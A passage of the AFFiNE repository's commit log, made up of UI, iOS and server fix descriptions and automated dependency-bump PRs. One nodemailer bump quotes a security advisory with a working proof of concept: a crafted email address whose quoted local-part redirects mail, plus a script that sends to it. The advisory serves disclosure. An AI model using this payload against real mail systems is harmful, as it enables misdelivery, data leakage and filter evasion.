correctly for direct descendants to root - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1620](https://redirect.github.com/capricorn86/happy-dom/issues/1620)

###
[`v19.0.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v19.0.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v19.0.0...v19.0.1)

##### :construction\_worker\_man: Patch fixes

- Fixes issue with sending in URLs as string in
`@happy-dom/server-renderer` config using CLI - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1908](https://redirect.github.com/capricorn86/happy-dom/issues/1908)

###
[`v19.0.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v19.0.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v18.0.1...v19.0.0)

##### 💣 Breaking Changes

- Removes support for CommonJS - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Support for CommonJS is no longer needed as Node.js v18 is deprecated
and v20 and above supports loading ES modules from CommonJS using
`require()`
- Updates Jest to v30 in the `@happy-dom/jest-environment` package - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Makes Jest packages peer dependencies to make it easier to align
versions with the project using `@happy-dom/jest-environment` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)

##### 🎨 Features

- Adds a new package called `@happy-dom/server-renderer` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- This package provides a simple way to statically render (SSG) or
server-side render (SSR) your client-side application
- Read more in the Wiki under
[Server-Renderer](https://redirect.github.com/capricorn86/happy-dom/wiki/Server-Renderer)
- Adds support for `import.meta` to the ESM compiler - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds support for the CSS pseudo selector `:scope` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1620](https://redirect.github.com/capricorn86/happy-dom/issues/1620)
- Improves support for `MediaList` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds support for `CSSKeywordValue`, `CSSStyleValue`,
`StylePropertyMap`, `StylePropertyMap`, `StylePropertyMapReadOnly` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Improves debug information in the ESM compiler - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds validation of browser settings when creating a new `Browser`
instance - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds support for the browser setting
[navigation.beforeContentCallback](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings)
which makes it possible to inject event listeners or logic before
content is loaded to the document when navigating a browser frame - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds support for the browser setting
[fetch.requestHeaders](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings)
which provides with a declarative and simple way to add request headers
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds support for setting an object to
[timer.preventTimerLoops](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings)
which makes it possible to define different settings for `setTimeout()`
and `requestAnimationFrame()` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds support for the browser setting
[viewport](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings)
which makes it possible to define a default viewport size - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds support for the parameters `beforeContentCallback` and `headers`
to `BrowserFrame.goto()`, `BrowserFrame.goBack()`,
`BrowserFrame.goForward()`, `BrowserFrame.goSteps()` and
`BrowserFrame.reload()` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds support for `PopStateEvent` and trigger the event when navigating
the page history using `History.pushState()` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Use local file paths for virtual server files in stack traces - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds support for `ResponseCache.fileSystem.load()` and
`ResponseCache.fileSystem.save()` for storing and loading cache from the
file system - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)

##### :construction\_worker\_man: Patch fixes

- Fixes a bug in the ESM compiler that caused it to fail to parse
certain code - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Disables the same origin policy when navigating a browser frame using
`BrowserFrame.goto()` - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Fixes bug where CSS selectors with the pseudos "+" and ">" failed for
selectors without arguments - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)
- Adds try and catch to listeners for events dispatched from
`XMLHttpRequest` to prevent it from being set to an invalid state if a
listener throws an Error - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;1730](https://redirect.github.com/capricorn86/happy-dom/issues/1730)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNDMuMSIsInVwZGF0ZWRJblZlciI6IjQxLjE0My4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-10-13 14:07:31 +00:00
Cats Juice
a35332634a fix(core): correct doc icon padding in editor header (#13721)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Style**
* Refined vertical spacing in the document icon picker header, reducing
excess top padding and setting a consistent bottom padding for a
cleaner, tighter layout.
* Improves visual alignment and readability without altering
functionality—interactions and behavior remain unchanged.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-10 09:12:01 +00:00
DarkSky
0063f039a7 feat(server): allow cleanup session for deleted docs (#13720)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Resolved occasional errors when removing document links from sessions,
ensuring cleanup completes reliably.
* Improved reliability during maintenance actions by preventing
unnecessary validation failures in system-initiated updates, while
preserving existing checks for user-initiated changes.

* **Chores**
* Internal adjustments to the session update flow to better support
maintenance operations without affecting user-facing behavior.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-10 12:43:21 +08:00
Cats Juice
d80ca57e94 fix(core): change doc icon layout to avoid incorrect color caused by the transform (#13719)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Style**
* Updated document title styling for improved readability (larger font,
increased line height, heavier weight).
* Refined spacing so titles align correctly when a document icon is
present (no extra top padding).
* Improved emoji rendering by using a consistent font and removing an
unnecessary visual artifact.
* Simplified title container behavior to ensure stable, predictable
alignment without placeholder-based shifts.

* **Chores**
* Minor UI cleanup and consistency adjustments for the icon/title area.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-10 02:08:05 +00:00
Lakr
c63e3e7fe6 fix(ios): adopt smaller font size for small device (#13715)
This pull request makes minor adjustments to the iOS frontend app,
focusing on UI fine-tuning and improving type safety for concurrency.
The most notable changes are a small font size adjustment in the paywall
badge, marking an enum as `Sendable` for safer concurrency, and removing
a StoreKit configuration reference from the Xcode scheme.

UI adjustments:
* Reduced the font size for the badge text in `PackageOptionView` from
12 to 10 for a more refined appearance.

Concurrency and type safety:
* Added the `Sendable` protocol conformance to the `SKUnitCategory` enum
to ensure it can be safely used across concurrency boundaries.

Project configuration:
* Removed the `StoreKitConfigurationFileReference` from the
`App.xcscheme`, which may help streamline scheme configuration or
prevent unnecessary StoreKit file usage during app launch.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- Style
- Tweaked paywall option badge text size for a cleaner, more polished
look.

- Refactor
- Improved concurrency safety in underlying models to enhance stability.

- Chores
- Removed a development-only StoreKit configuration from the iOS debug
launch setup.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-09 19:13:02 +08:00
DarkSky
05d373081a fix(server): update email verified at oauth (#13714)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Automatic email verification when signing in or reconnecting with a
linked OAuth provider: if the provider confirms the same email and your
account was unverified, your email will be marked as verified
automatically.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-09 09:46:05 +00:00
William Guinaudie
26fbde6b62 fix(core): quick search modal on mobile device (#13694)
When searching on a mobile device, the search modal is wider than the
screen, making it hard to use
<img width="345" height="454" alt="Screenshot 2025-10-04 at 17 43 54"
src="https://github.com/user-attachments/assets/10594459-86c5-470b-a22f-578363694383"
/>

Now with the fix applied, it is  usable

<img width="350" height="454" alt="Screenshot 2025-10-04 at 17 44 14"
src="https://github.com/user-attachments/assets/eb783f5b-e3b6-4b7d-8f31-0d876911d95f"
/>


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- **Style**
- Improved mobile responsiveness of the Quick Search modal. On screens
520px wide or smaller, the modal content now adapts its width instead of
enforcing a minimum, reducing overflow and improving readability on
small devices.
- No visual or behavioral changes on larger screens; existing layouts
and interactions remain unchanged.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-09 09:04:44 +00:00
Cats Juice
072b5b22df fix(core): display affine icon in lit correctly (#13708)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- New Features
- Added an alternative icon rendering option for document icons,
delivering crisper visuals and consistent emoji/icon display.
- Style
- Improved icon alignment and sizing within grouped icon buttons for
more consistent centering and appearance.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: Wu Yue <akumatus@gmail.com>
2025-10-09 09:04:24 +00:00
3720
3c7461a5ce fix(editor): adjust callout emoji spacing based on first child block type (#13712)
- Remove fixed marginTop from emoji container style
- Dynamically calculate emoji marginTop based on first child block type
(h1-h6)
- Use model signal to reactively update spacing when children change
- Default to 10px for non-heading blocks

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- Style
- Improved emoji alignment in callout blocks. The emoji now adjusts its
top spacing based on the first line’s heading level, ensuring better
vertical alignment with headings (H1–H6) and more consistent visual
balance across different callout contents.
- Maintains existing margins and layout behavior otherwise, resulting in
a cleaner, more polished appearance without affecting functionality.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-09 09:04:14 +00:00
DarkSky
1b859a37c5 feat: improve attachment headers (#13709)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Safer, consistent file downloads with automatic attachment headers and
filenames.
- Smarter MIME detection for uploads (avatars, workspace blobs, Copilot
files/transcripts).
  - Sensible default buffer limit when reading uploads.

- **Bug Fixes**
- Prevents risky content from rendering inline by forcing downloads and
adding no‑sniff protection.
- More accurate content types when original metadata is missing or
incorrect.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-09 08:04:18 +00:00
renovate[bot]
bf72833f05 chore: bump up nodemailer version to v7.0.7 [SECURITY] (#13704)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [nodemailer](https://nodemailer.com/)
([source](https://redirect.github.com/nodemailer/nodemailer)) | [`7.0.3`
-> `7.0.7`](https://renovatebot.com/diffs/npm/nodemailer/7.0.3/7.0.7) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/nodemailer/7.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nodemailer/7.0.3/7.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[GHSA-mm7p-fcc7-pg87](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87)

The email parsing library incorrectly handles quoted local-parts
containing @&#8203;. This leads to misrouting of email recipients, where
the parser extracts and routes to an unintended domain instead of the
RFC-compliant target.

Payload: `"xclow3n@gmail.com x"@&#8203;internal.domain`
Using the following code to send mail
```
const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
  service: "gmail",
  auth: {
    user: "",
    pass: "",
  },
});

let mailOptions = {
  from: '"Test Sender" <your_email@gmail.com>', 
  to: "\"xclow3n@gmail.com x\"@&#8203;internal.domain",
  subject: "Hello from Nodemailer",
  text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};

transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
    return console.log("Error: ", error);
  }
  console.log("Message sent: %s", info.messageId);

});

(async () => {
  const parser = await import("@&#8203;sparser/email-address-parser");
  const { EmailAddress, ParsingOptions } = parser.default;
  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

  if (!parsed) {
    console.error("Invalid email address:", mailOptions.to);
    return;
  }

  console.log("Parsed email:", {
    address: `${parsed.localPart}@&#8203;${parsed.domain}`,
    local: parsed.localPart,
    domain: parsed.domain,
  });
})();
```

Running the script and seeing how this mail is parsed according to RFC

```
Parsed email: {
  address: '"xclow3n@gmail.com x"@&#8203;internal.domain',
  local: '"xclow3n@gmail.com x"',
  domain: 'internal.domain'
}
```

But the email is sent to `xclow3n@gmail.com`

<img width="2128" height="439" alt="Image"
src="https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d"
/>

### Impact:

- Misdelivery / Data leakage: Email is sent to psres.net instead of
test.com.

- Filter evasion: Logs and anti-spam systems may be bypassed by hiding
recipients inside quoted local-parts.

-    Potential compliance issue: Violates RFC 5321/5322 parsing rules.

- Domain based access control bypass in downstream applications using
your library to send mails

### Recommendations

-    Fix parser to correctly treat quoted local-parts per RFC 5321/5322.

- Add strict validation rejecting local-parts containing embedded
@&#8203; unless fully compliant with quoting.

---

### Release Notes

<details>
<summary>nodemailer/nodemailer (nodemailer)</summary>

###
[`v7.0.7`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#707-2025-10-05)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.6...v7.0.7)

##### Bug Fixes

- **addressparser:** Fixed addressparser handling of quoted nested email
addresses
([1150d99](1150d99fba))
- **dns:** add memory leak prevention for DNS cache
([0240d67](0240d6795d))
- **linter:** Updated eslint and created prettier formatting task
([df13b74](df13b7487e))
- refresh expired DNS cache on error
([#&#8203;1759](https://redirect.github.com/nodemailer/nodemailer/issues/1759))
([ea0fc5a](ea0fc5a663))
- resolve linter errors in DNS cache tests
([3b8982c](3b8982c1f2))

###
[`v7.0.6`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#706-2025-08-27)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.5...v7.0.6)

##### Bug Fixes

- **encoder:** avoid silent data loss by properly flushing trailing
base64
([#&#8203;1747](https://redirect.github.com/nodemailer/nodemailer/issues/1747))
([01ae76f](01ae76f2cf))
- handle multiple XOAUTH2 token requests correctly
([#&#8203;1754](https://redirect.github.com/nodemailer/nodemailer/issues/1754))
([dbe0028](dbe0028635))
- ReDoS vulnerability in parseDataURI and \_processDataUrl
([#&#8203;1755](https://redirect.github.com/nodemailer/nodemailer/issues/1755))
([90b3e24](90b3e24d23))

###
[`v7.0.5`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#705-2025-07-07)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.4...v7.0.5)

##### Bug Fixes

- updated well known delivery service list
([fa2724b](fa2724b337))

###
[`v7.0.4`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#704-2025-06-29)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v7.0.3...v7.0.4)

##### Bug Fixes

- **pools:** Emit 'clear' once transporter is idle and all connections
are closed
([839e286](839e28634c))
- **smtp-connection:** jsdoc public annotation for socket
([#&#8203;1741](https://redirect.github.com/nodemailer/nodemailer/issues/1741))
([c45c84f](c45c84fe9b))
- **well-known-services:** Added AliyunQiye
([bb9e6da](bb9e6daffb))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xMzEuOSIsInVwZGF0ZWRJblZlciI6IjQxLjEzMS45IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-10-09 04:36:15 +00:00
DarkSky
96b3de8ce7 chore: update docs 2025-10-04 19:29:45 +08:00
DarkSky
26a59db540 chore: update docs 2025-10-04 19:27:37 +08:00
Lakr
7d0b8aaa81 feat(ios): sync paywall with external purchased items (#13681)
This pull request introduces significant improvements to the integration
between the paywall feature and the web context within the iOS app. The
main focus is on enabling synchronization of subscription states between
the app and the embedded web view, refactoring how purchased items are
managed, and enhancing the paywall presentation logic. Additionally,
some debug-only code has been removed for cleaner production builds.

**Paywall and Web Context Integration**

* Added support for binding a `WKWebView` context to the paywall,
allowing the paywall to communicate with the web view for subscription
state updates and retrievals (`Paywall.presentWall` now accepts a
`bindWebContext` parameter, and `ViewModel` supports binding and using
the web context).
[[1]](diffhunk://#diff-bce0a21a4e7695b7bf2430cd6b8a85fbc84124cc3be83f3288119992b7abb6cdR10-R32)
[[2]](diffhunk://#diff-cb192a424400265435cb06d86b204aa17b4e8195d9dd811580f51faeda211ff0R54-R57)
[[3]](diffhunk://#diff-cb192a424400265435cb06d86b204aa17b4e8195d9dd811580f51faeda211ff0L26-R38)
[[4]](diffhunk://#diff-1854d318d8fd8736d078f5960373ed440836263649a8193c8ee33e72a99424edL30-R36)

* On paywall dismissal, the app now triggers a JavaScript call to update
the subscription state in the web view, ensuring consistency between the
app and the web context.

**Purchased Items Refactor**

* Refactored `ViewModel` to distinguish between store-purchased items
and externally-purchased items (from the web context), and unified them
in a computed `purchasedItems` property. This improves clarity and
extensibility for handling entitlements from multiple sources.

* Added logic to fetch external entitlements by executing JavaScript in
the web view and decoding the subscription information, mapping external
plans to internal product identifiers.
[[1]](diffhunk://#diff-df2cb61867b4ff10dee98d534cf3c94fe8d48ebaef3f219450a9fba26725fdcbL99-R137)
[[2]](diffhunk://#diff-df2cb61867b4ff10dee98d534cf3c94fe8d48ebaef3f219450a9fba26725fdcbR169-R209)

**Codebase Cleanup**

* Removed debug-only code for shake gesture and debug menu from
`AFFiNEViewController`, streamlining the production build.

**API and Model Enhancements**

* Made `SKUnitCategory` and its extensions public to allow broader usage
across modules, and introduced a configuration struct for the paywall.
[[1]](diffhunk://#diff-742ccf0c6bafd2db6cb9795382d556fbab90b8855ff38dc340aa39318541517dL10-R17)
[[2]](diffhunk://#diff-bce0a21a4e7695b7bf2430cd6b8a85fbc84124cc3be83f3288119992b7abb6cdR10-R32)

**Other Minor Improvements**

* Improved constructor formatting for `PayWallPlugin` for readability.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Paywall now binds to the in-app web view so web-based subscriptions
are recognized alongside App Store purchases.
- Bug Fixes
- Entitlements combine App Store and web subscription state for more
accurate display.
- Dismissing the paywall immediately updates subscription status to
reduce stale states.
  - Improved reliability when presenting the paywall.
- Chores
  - Removed debug shake menu and debug paywall options from iOS builds.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-10-03 07:21:41 +00:00
Kieran Cui
856b69e1f6 fix(core): optimize settings dialog's right-side content scroll position (#13236)
In the settings dialog, when switching between different setting items,
the right-side content retains the previous scroll position. I think it
would be better for the right side to return to the top every time a
switch is made, so I submitted this PR.

**before**


https://github.com/user-attachments/assets/a2d10601-6173-41d3-8d68-6fbccc62aaa7


**after**


https://github.com/user-attachments/assets/f240348b-e131-4703-8232-1a07e924162d



<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Ensured the settings dialog always scrolls to the top when the
settings state updates, improving user experience when navigating
settings.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-10-01 14:52:39 +00:00
renovate[bot]
5fdae9161a chore: bump up SwifterSwift/SwifterSwift version to from: "6.2.0" (#12874)
> [!NOTE]
> Mend has cancelled [the proposed
renaming](https://redirect.github.com/renovatebot/renovate/discussions/37842)
of the Renovate GitHub app being renamed to `mend[bot]`.
> 
> This notice will be removed on 2025-10-07.

<hr>

This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
|
[SwifterSwift/SwifterSwift](https://redirect.github.com/SwifterSwift/SwifterSwift)
| minor | `from: "6.0.0"` -> `from: "6.2.0"` |

---

### Release Notes

<details>
<summary>SwifterSwift/SwifterSwift (SwifterSwift/SwifterSwift)</summary>

###
[`v6.2.0`](https://redirect.github.com/SwifterSwift/SwifterSwift/blob/HEAD/CHANGELOG.md#v620)

[Compare
Source](https://redirect.github.com/SwifterSwift/SwifterSwift/compare/6.1.1...6.2.0)

##### Added

- **NSView**
- Added `addArrangedSubviews(_ views: )` to add an array of views to the
end of the arrangedSubviews array.
[#&#8203;1181](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1181)
by [Roman Podymov](https://redirect.github.com/RomanPodymov)
- Added `removeArrangedSubviews` to remove all views in stack’s array of
arranged subviews.
[#&#8203;1181](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1181)
by [Roman Podymov](https://redirect.github.com/RomanPodymov)
- **Sequence**
- `sorted(by:)`, `sorted(by:with:)`, `sorted(by:and:)`,
`sorted(by:and:and:)`, `sum(for:)`, `first(where:equals:)` now have
alternatives that receive functions as parameters. This change maintains
compatibility with KeyPath while making the methods more flexible.
[#&#8203;1170](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1170)
by [MartonioJunior](https://redirect.github.com/MartonioJunior)

##### Changed

- **Sequence**
- `sorted(by:)`, `sorted(by:with:)`, `sorted(by:and:)`,
`sorted(by:and:and:)`, `sum(for:)`, `first(where:equals:)` now have
alternatives that receive functions as parameters. This change maintains
compatibility with KeyPath while making the methods more flexible.
[#&#8203;1170](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1170)
by [MartonioJunior](https://redirect.github.com/MartonioJunior)
- `contains(_:)` for `Element: Hashable` now can receive any type that
conforms to `Sequence`, not just an `Array`.
[#&#8203;1169](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1169)
by [MartonioJunior](https://redirect.github.com/MartonioJunior)

##### Fixed

- **PrivacyInfo.xcprivacy**
- XCode Generate Privacy Report: `Missing an expected key:
'NSPrivacyCollectedDataTypes'`.
[#&#8203;1182](https://redirect.github.com/SwifterSwift/SwifterSwift/issues/1182)
by [Phil](https://redirect.github.com/cdoky)

###
[`v6.1.1`](https://redirect.github.com/SwifterSwift/SwifterSwift/blob/HEAD/CHANGELOG.md#v611)

[Compare
Source](https://redirect.github.com/SwifterSwift/SwifterSwift/compare/6.1.0...6.1.1)

##### Added

- **Cocoapods**
- Added the privacy manifest to Cocoapods.
[#&#8203;1178](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1178)
by [guykogus](https://redirect.github.com/guykogus)

###
[`v6.1.0`](https://redirect.github.com/SwifterSwift/SwifterSwift/blob/HEAD/CHANGELOG.md#v610)

[Compare
Source](https://redirect.github.com/SwifterSwift/SwifterSwift/compare/6.0.0...6.1.0)

##### Deprecated

- **UIImageView**
- `blurred(withStyle:)` should have copied the image view and blurred
the new instance, but instead it performed the same functionality as
`blur(withStyle:)`, making the outcome unexpected as well as being
obsolete.
[#&#8203;1161](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1161)
by [guykogus](https://redirect.github.com/guykogus)

##### Added

- **Swift Package Manager**
- Added a privacy manifest to comply with Apple's requirements regarding
[Describing use of required reason
API](https://developer.apple.com/documentation/bundleresources/privacy_manifest_files/describing_use_of_required_reason_api).
[#&#8203;1176](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1176)
by [guykogus](https://redirect.github.com/guykogus)
- **Measurement**
- Added `+=`, `-=`, `*=`, `/=` to add, subtract, multiply and divide
measurements.
[#&#8203;1162](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1162)
by [Roman Podymov](https://redirect.github.com/RomanPodymov)
- **Sequence**
- Added `product()` for calculating the product of all `Numeric`
elements.
[#&#8203;1168](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1168)
by [MartonioJunior](https://redirect.github.com/MartonioJunior)
- Added `product(for:)` for calculating the product of the `Numeric`
property for all elements in `Sequence`.
[#&#8203;1168](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1168)
by [MartonioJunior](https://redirect.github.com/MartonioJunior)
- **UIView**
- Added `removeBlur()` method for removing the applied blur effect from
the view.
[#&#8203;1159](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1159)
by [regi93](https://redirect.github.com/regi93)
- Added `makeCircle(diameter:)` method to make the view circular.
[#&#8203;1165](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1165)
by [happyduck-git](https://redirect.github.com/happyduck-git)

##### Fixed

- **UIImageView**
- Moved `blur(withStyle:)` from `UIImageView` to `UIView`, as it can be
performed on all views.
[#&#8203;1161](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1161)
by [guykogus](https://redirect.github.com/guykogus)
- **UIView**
- `GradientDirection` initializer and constants had access level
`internal` instead of `public`.
[#&#8203;1152](https://redirect.github.com/SwifterSwift/SwifterSwift/pull/1152)
by [guykogus](https://redirect.github.com/guykogus)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42MC4xIiwidXBkYXRlZEluVmVyIjoiNDEuMTMxLjkiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-09-30 17:41:45 +00:00
Wu Yue
03ef4625bc feat(core): handle AI subscription for pro models (#13682)
<img width="576" height="251" alt="截屏2025-09-30 14 55 20"
src="https://github.com/user-attachments/assets/947a4ab3-8b34-434d-94a6-afb5dad3d32c"
/>


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Added “Subscribe to AI” action across chat experiences (panel,
content, composer, input, playground, peek view) that launches an in-app
checkout flow.
- Chat content now refreshes subscription status when opened; desktop
chat pages wire the subscription action for seamless checkout.

- **Style**
  - Polished hover state for the subscription icon in chat preferences.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
